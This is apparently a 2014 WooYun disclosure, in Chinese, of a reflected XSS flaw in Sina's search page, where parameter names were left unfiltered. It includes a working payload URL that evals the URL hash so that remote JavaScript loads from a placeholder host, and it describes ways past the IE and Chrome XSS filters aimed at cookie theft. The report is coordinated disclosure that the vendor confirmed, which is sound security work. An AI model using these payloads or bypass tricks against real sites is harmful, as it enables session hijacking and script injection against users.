漏洞概要
		关注数(24)
		
		关注此漏洞
		
		
		漏洞标题:新浪反射型跨站(附绕过浏览器xss filter方式)
		相关厂商:新浪
		漏洞作者:	香草
		提交时间:2014-05-28 16:57
		修复时间:2014-07-12 16:58
		公开时间:2014-07-12 16:58
		漏洞类型:xss跨站脚本攻击
		危害等级:中
		自评Rank:10
		漏洞状态:厂商已经确认
		
		Tags标签:
												无
								
		
		
        
        
    	
		
		漏洞详情
		披露状态:
							
											2014-05-28:	细节已通知厂商并且等待厂商处理中
									2014-05-28:	厂商已经确认,细节仅向厂商公开
									2014-06-07:	细节向核心白帽子及相关领域专家公开
									2014-06-17:	细节向普通白帽子公开
									2014-06-27:	细节向实习白帽子公开
									2014-07-12:	细节向公众公开
								
		简要描述:
		前几天新浪广告界面那个跨站,在第三次的时候,总算进行了正确的修复。于是我只好去其他地方看看了。很不幸这次又侧漏了,这次可获取cookie,可欺骗,虽然新浪的cookie有httponly保护,不过这次重点是可以过IE和chrome系列浏览器的方法。
								详细说明:
    			新浪的搜索实际上过滤还是挺严格的,在搜索框输入,xxx'"<>!@#$%^&*()_;\,
发现在正确的位置的进行了正确的编码和过滤。'"<>\以及其他特殊符号都进行了相应的编码和过滤。这也是我想到的,这些简单的符号肯定是会被过滤的。我发现页面中存在这样的代码:

于是一个一个对上面的参数进行了测试,发现对value里面的值对特殊字符都进行了编码处理。但是我不放过任何一个参数,继续寻找可能存在的参数,在这儿我发现一个奇怪的现象,就是每次我添加一个参数都会在input里面添加一条记录,而且在界面上会多次出现这个参数。
当我访问:http://search.sina.com.cn/?q=xxx&c=zt&range=title&ggg=bbb

直觉告诉我,这儿肯定存在问题。
既然对value都进行了严格的过滤,那对name呢。于是我再次测试
http://search.sina.com.cn/?q=xxx&c=zt&range=title&ggg"'ggg=bbb
果然侧漏了:

控制台报错了,我最喜欢了,还有js环境的:

接下来测试发现name参数过滤了点号和[],其他的都没过滤,值就过滤的惨不忍睹了,特殊符号都过滤了包括()[]{}"'<>\。很快就想到一个加载远程js的方法:
http://search.sina.com.cn/?q=xxx&c=zt&range=title&xxx%22;with(location)with(hash)eval(substring(1))//=#with(document)body.appendChild(createElement('script')).src='//xxx.xxxx.com/test/alert.js'
用with省略了点号的使用,但是这个代码只能在火狐和chrome系列浏览器上运行,不是很完美。在IE上不能有成对的括号出现而且过滤了location,document等关键字,怎么办呢?
我想到了expression,expression呢,因为我发现
就是说会强制浏览器以IE7文档模式解析,当然就都支持expression了。访问:
加载远程js:
这个代码在IE9,IE10下面是可以运行的,IE8貌似不支持content="IE=EmulateIE7"。
但是这样的虽然可以过IE各个版本浏览器,但是又不能同时支持chrome系列浏览器了,有没有既可以过IE又可以过chrome的呢?为了完美,我们继续:
把空格转换成了+号,而我们又不能用 " ,于是我们用%0a也就是换行符来分割属性。

解释:a其实就是a的html编码我们在url编码后就是%26%2397。()就是()对他进行html编码是为了绕过 IE xss filter对括号的检查。
最终实现的加载远程js,可兼容IE,chrome系列浏览器:
 
     									漏洞证明:
      			弹个cookie:

加载JS:
 
     									修复方案:
      													版权声明:转载请注明来源 香草@乌云
				
					漏洞回应
      																		厂商回应:
						危害等级:中
						漏洞Rank:5 
													确认时间:2014-05-28 18:43
												厂商回复:
						感谢关注新浪安全,分析太好,
										最新状态:
											暂无
									       									
漏洞评价:
评论
	                    -             
                        2014-05-28 16:57 |    		
疯狗 
						( 实习白帽子  |			        Rank:44 漏洞数:2        | 阅尽天下漏洞,心中自然无码。)		
                 
                                             
                         -             
                        2014-05-28 16:59 |    		
快到碗裏來						( 路人 |			        Rank:6 漏洞数:4        | 這傢伙很懶,什麼也沒有留下!)		
                 
                                    @疯狗 请问获取邀请码的rank不计算入注册后的账户吗? 
                                              
                         -             
                        2014-05-28 17:03 |    		
nextdoor						( 普通白帽子  |			        Rank:325 漏洞数:74        )		
                 
                                    @疯狗 狗哥 把我的漏洞审一下吧http://www.wooyun.org/bugs/wooyun-2014-062029/trace/e8d953464bfb60cd87dbab28c9316d95 
                                              
                         -             
                        2014-05-28 17:07 |    		
mramydnei						( 普通白帽子  |			        Rank:348 漏洞数:80        )		
                 
                                             
                         -             
                        2014-05-28 17:12 |    		
疯狗 
						( 实习白帽子  |			        Rank:44 漏洞数:2        | 阅尽天下漏洞,心中自然无码。)		
                 
                                    @快到碗裏來 计算进去的,只要是那个漏洞填写了邀请邮箱(一致)并注册成功 
                                              
                         -             
                        2014-05-28 17:13 |    		
香草						( 实习白帽子  |			        Rank:99 漏洞数:14        | javascript,xss,jsp、aspx)		
                 
                                             
                         -             
                        2014-05-28 17:17 |    		
香草						( 实习白帽子  |			        Rank:99 漏洞数:14        | javascript,xss,jsp、aspx)		
                 
                                    @nextdoor 189邮箱被多次提交漏洞,不过他们从来没修复过,所以咯 
                                              
                         -             
                        2014-05-29 16:45 |    		
香草						( 实习白帽子  |			        Rank:99 漏洞数:14        | javascript,xss,jsp、aspx)		
                 
                                    @疯狗 狗哥http://www.wooyun.org/bugs/wooyun-2010-062771/trace/b37f5ecac6e82f589ca16faa0d08a34d 帮忙审核下呀,这个有趣 
                                              
                         -             
                        2014-05-29 17:42 |    		
疯狗 
						( 实习白帽子  |			        Rank:44 漏洞数:2        | 阅尽天下漏洞,心中自然无码。)		
                 
                                    @香草 是很有意思,洞主给drops投个稿吧 :P 
                                              
                         -             
                        2014-07-12 19:32 |    		
cooFool						( 路人 |			        Rank:0 漏洞数:2        | 终于通过了。)		
                 
                                             
                         -             
                        2014-07-14 05:03 |    		
橙子						( 路人 |			        Rank:2 漏洞数:1        | 我有特殊的卖萌技巧)		
                 
                                             
                         -             
                        2015-04-19 16:56 |    		
昌维						( 路人 |			        Rank:2 漏洞数:3        | QQ:867597730,百度贴吧ID:昌维001)		
                 
                                    很多奇葩sql注入也是一样,只过滤了参数值没过滤参数名,而且参数名直接带入sql语句,和这个情况差不多